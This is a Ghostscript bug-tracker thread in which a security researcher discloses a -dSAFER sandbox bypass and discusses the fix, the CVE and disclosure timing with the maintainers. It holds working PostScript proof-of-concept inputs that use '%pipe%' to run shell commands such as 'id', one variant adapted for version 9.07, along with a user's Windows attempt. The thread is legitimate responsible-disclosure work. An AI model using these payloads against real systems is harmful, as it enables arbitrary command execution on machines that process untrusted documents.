Hi, When `dorestore` exits, it sets `LockFilePermissions` to false. http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=psi/zvmem.c;h=87a0a4ff1d68904995fd8e86ffb0e030c993f3f9;hb=81f3d1e7247b9a8e29a388677b01959e612a28c7#l198 It relies on the restore operator being wrapped inside here: http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=Resource/Init/gs_lev2.ps;h=44fe619566596ff88d3b69e5fb3d4715ef2e6e23;hb=81f3d1e7247b9a8e29a388677b01959e612a28c7#l178 to use `.setuserparams` to cleanup `LockFilePermissions`. However, it is possible to trigger a stackoverflow error after `restore` and before `.setuserparams` so that `LockFilePermissions` does not get reset. This will result in a bypass of the `-dSAFER` option that allows shell command to be executed after the failed restore. For example, start gs in safer mode: gdb --args ./gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null GS>0 1 300367 {} for GS<300368> save restore Error: /stackoverflow in --.setglobal-- .... GS<1>(%pipe%id) findlibfile This gives the following debugger output: [New process 28796] GS<4>[Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". process 28796 is executing new program: /bin/dash Error in re-setting breakpoint 1: Function "zputdeviceparams" not defined. [New process 28797] process 28797 is executing new program: /usr/bin/id [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [Inferior 3 (process 28797) exited normally] This is tested on binary build with commit 81f3d1e. Thank you very much for your help and please let me know if there is anything I can help. Thanks. Best Regards, Man Yue Mo
Fixed in: http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=aeea342904
Thanks! Is this going to be fixed in 9.26 and would you like me to request a CVE for it? Thanks.
(In reply to Man Yue Mo from comment #2) > Thanks! Is this going to be fixed in 9.26 and would you like me to request a > CVE for it? Thanks. Yes, the fix will be in 9.26. I have no objection to you requesting a CVE, we'd prefer the exploit not be public for a month or so.
Thanks! I will request a CVE and let you know. When do you expect to release the new version? And are you happy to acknowledge me and my affiliation (for this and the other bugs I filed) in the release notes or security advisory as: Man Yue Mo of Semmle Security Research Team We normally would like to publish some write ups of the details of the bugs, which involve some explanations about the issues in the source code, but not the exploit. Are you happy for that kind of details to be published soon after the release? Let me know and thank you very much for your help.
(In reply to Man Yue Mo from comment #4) > Thanks! I will request a CVE and let you know. When do you expect to release > the new version? And are you happy to acknowledge me and my affiliation (for > this and the other bugs I filed) in the release notes or security advisory > as: > > Man Yue Mo of Semmle Security Research Team Sure, that's fine. It can't go in the change log, because that's generated directly from the git logs, but we'll give you a credit in the release notes (as long as I remember!). > We normally would like to publish some write ups of the details of the bugs, > which involve some explanations about the issues in the source code, but not > the exploit. Are you happy for that kind of details to be published soon > after the release? Let me know and thank you very much for your help. We'd prefer a 2-3 weeks at least, to give our customers and the free user community time to roll out the new release. A couple of weeks after the release, we will make the bugs publicly visible, so you'll be able to reference those, if you want to.
> We'd prefer a 2-3 weeks at least, to give our customers and the free user > community time to roll out the new release. That should be fine. We'll not publish technical write ups until 2-3 weeks after release then, although we'll probably publish some minimal high level descriptions (e.g. -dSAFER sandbox bypass) which should not give any details about the bugs itself. > A couple of weeks after the release, we will make the bugs publicly visible, > so you'll be able to reference those, if you want to. If the ticket is publicly visible, would that not also show the exploit?
(In reply to Man Yue Mo from comment #6) > > A couple of weeks after the release, we will make the bugs publicly visible, > > so you'll be able to reference those, if you want to. > > If the ticket is publicly visible, would that not also show the exploit? It will, yes, that's why we wait a bit before we make the security bugs public, to give package maintainers and our customers time to take the patches and (especially for Windows users) the released binaries. Its also the reason we're doing an intermediate release. Our release schedule is normally 6 monthly; September and March (or thereabouts) and since it always takes us a couple of weeks to get a release together we prefer to keep to that schedule. But obviously if important enough bugs surface, we need to do a release for them. This is especially true for Windows, as many free users are unable to build Ghostscript from source, on Windows. We believe the currently accepted practice is for security researchers to release exploits publicly after 90 days, or when a patch is available. So we've had to adjust our practices to cater for that reality; if an important enough security bug comes up, and its more than 90 days until the next release, then we need to do an intermediate one. Your own reports have come in during the release candidate period for this release, so we're rolling them in. Otherwise we would have to look at another interim release.
> It will, yes, that's why we wait a bit before we make the security bugs > public, to give package maintainers and our customers time to take the > patches and (especially for Windows users) the released binaries. Thanks for the detailed explanations. I guess my question is that, if you don't want the exploit to be published until a month or so after the release, then wouldn't it be too soon to make the ticket public a couple of weeks after the release?
(In reply to Man Yue Mo from comment #8) > > It will, yes, that's why we wait a bit before we make the security bugs > > public, to give package maintainers and our customers time to take the > > patches and (especially for Windows users) the released binaries. > > Thanks for the detailed explanations. I guess my question is that, if you > don't want the exploit to be published until a month or so after the > release, then wouldn't it be too soon to make the ticket public a couple of > weeks after the release? I think Chris was indicating that 2-3 weeks from now would be 'a couple of weeks' after we do the release. That is, the two times would be more or less the same. Obviously once we make the bug public you should feel free to do the same :-)
I see, you are talking about 2-3 weeks from now and I am thinking about 2-3 weeks from release, thanks for clarifying :)
The exploit here does not work on version 9.07 that CentOS 7 is using, but that version is still vulnerable with a slight change in the exploit: GS>0 1 300367 {} for GS<300368> save restore Error: /stackoverflow in --.setglobal-- .... GS<1>(%pipe%/usr/share/ghostscript/9.07/Resource/Init/ & id) findlibfile will still call the shell command `id`. So please make sure the patch is back-ported to that version also. Thanks.
(In reply to Man Yue Mo from comment #11) > The exploit here does not work on version 9.07 that CentOS 7 is using, but > that version is still vulnerable with a slight change in the exploit: > > GS>0 1 300367 {} for > GS<300368> save restore > Error: /stackoverflow in --.setglobal-- > .... > GS<1>(%pipe%/usr/share/ghostscript/9.07/Resource/Init/ & id) findlibfile > > will still call the shell command `id`. So please make sure the patch is > back-ported to that version also. Thanks. We can't do that, we aren't responsible for any package on any version of Linux. Also, that's more than 5 and a half years old now, as the Red Hat package maintainers have discovered, it will be more or less impossible to take all the recent security patches and add them to code that old, especially those in the PDF interpreter. Realistically its not going to be practical to do this.
Is there any poc for windows ? I tried the following in safe mode in ghostscript 9.23 / windows 10 . . GS>0 1 300367 {} for GS<300368> save restore GS<1>(%pipe%calc) (w) --file-- but did not lunch the calc, i got Error: ?invalidfileaccess in --file-- ... ...
(In reply to Tom from comment #13) > Is there any poc for windows ? No.
so is ghostscript on windows not affected from this vulnerability ?
(In reply to Tom from comment #15) > so is ghostscript on windows not affected from this vulnerability ? Yes it was.